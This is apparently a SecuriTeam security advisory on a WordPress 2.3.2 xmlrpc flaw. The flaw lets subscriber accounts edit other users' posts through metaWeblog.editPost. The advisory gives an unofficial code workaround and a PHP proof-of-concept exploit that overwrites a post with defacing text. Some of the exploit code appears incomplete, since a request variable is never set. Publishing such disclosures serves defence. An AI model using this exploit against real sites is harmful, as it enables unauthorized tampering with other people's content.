[UNIX] WordPress metaWeblog.editPost Post Arbitrary Modification (xmlrpc, Exploit, Patch)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



WordPress metaWeblog.editPost Post Arbitrary Modification (xmlrpc,
Exploit, Patch)
------------------------------------------------------------------------


SUMMARY

<http://wordpress.org/> WordPress is "a state-of-the-art semantic
personal publishing platform with a focus on aesthetics, web standards,
and usability". A vulnerability in the way Wordpress handles the
metaWeblog.editPost allows remote attackers that have just subscriber
privileges to modify the posts of other users.

DETAILS

Vulnerable Systems:
* Wordpress version 2.3.2

Workaround:
To prevent the xmlrpc engine from modifying posts without verifying
whether the person has rights to do so or not modify the following PHP
code:
if ( ('post' == $post_type ) && !current_user_can('edit_post', $post_ID) )
return new IXR_Error(401, __('Sorry, you can not edit this
post.'));

To include:
if ( (1 || 'post' == $post_type ) && !current_user_can('edit_post',
$post_ID) )
return new IXR_Error(401, __('Sorry, you can not edit this
post.'));

Of course the patch is not official, and would probably break other stuff
- but security is our number one priority, as a side note version 2.0.x
doesn't have that 'post' == ... test.

Exploit:
<?php
/**
* POC : XMLRPC Hack
*
*/
$host = ''; // blog url
$page = '/xmlrpc.php';
$data = '<?xml version="1.0" ?>
<methodCall>
<methodName>metaWeblog.editPost</methodName>
<params>
<value>
<i4>post_ID</i4>
</value>
<value>
<string>username</string>
</value>
<value>
<string>password</string>
</value>
<struct>
<member>
<name>post_type</name>
<value>page</value>
</member>
<member>
<name>title</name>
<value>
<string>Pwnd</string>
</value>
</member>
<member>
<name>description</name>
<value>Whoo is ma biatch</value>
</member>
</struct>
</params>
</methodCall>';

$exploited = fsockopen($host, 80, $errorNumber, $errorString);
$requestHeader = $method." ".$page." HTTP/1.1\r\n";
$requestHeader.= "Host: ".$host."\r\n";
$requestHeader.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT
5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
$requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";
$requestHeader.= "Content-Length: ".strlen($data)."\r\n";
$requestHeader.= "Connection: close\r\n\r\n";
$requestHeader.= $data;
fwrite($exploited, $requestHeader );

echo 'done ;)';
?>


ADDITIONAL INFORMATION

The information has been provided by Paul (Yabba) Jones.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [EXPL] OpenBB CID SQL Injection (Exploit)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... OpenBB - "is a discussion bulletin board application written in PHP. ... Avatars, member lists, private forums and more." ... exploiting this vulnerability a malicious attacker can endanger OpenBB's ...
    (Securiteam)
  • [NT] Multiple Vulnerabilities in Alt-N WebAdmin
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Several vulnerabilities in WebAdmin allows an attacker to perform Cross ... but he/she will only be able to view or modify ... name in any other account, but if it is possible to modify their own ...
    (Securiteam)
  • [NT] Cross Application Scripting in Trend Micros Antivirus Software
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The SecuriTeam alerts list - Free, Accurate, Independent. ... When the product alerts the user of a possible virus, it creates an HTML ...
    (Securiteam)
  • [NT] Microsoft Windows NTFS Improper Handler Closing
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... from a system shutdown, uninitialized data may be visible in files from ...
    (Securiteam)
  • [TOOL] tcpstatflow - Covert Tunnel Detector
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... For example, he could set up a SSH server on the Internet, listening port ... one way and the opposite (within a single TCP connection). ...
    (Securiteam)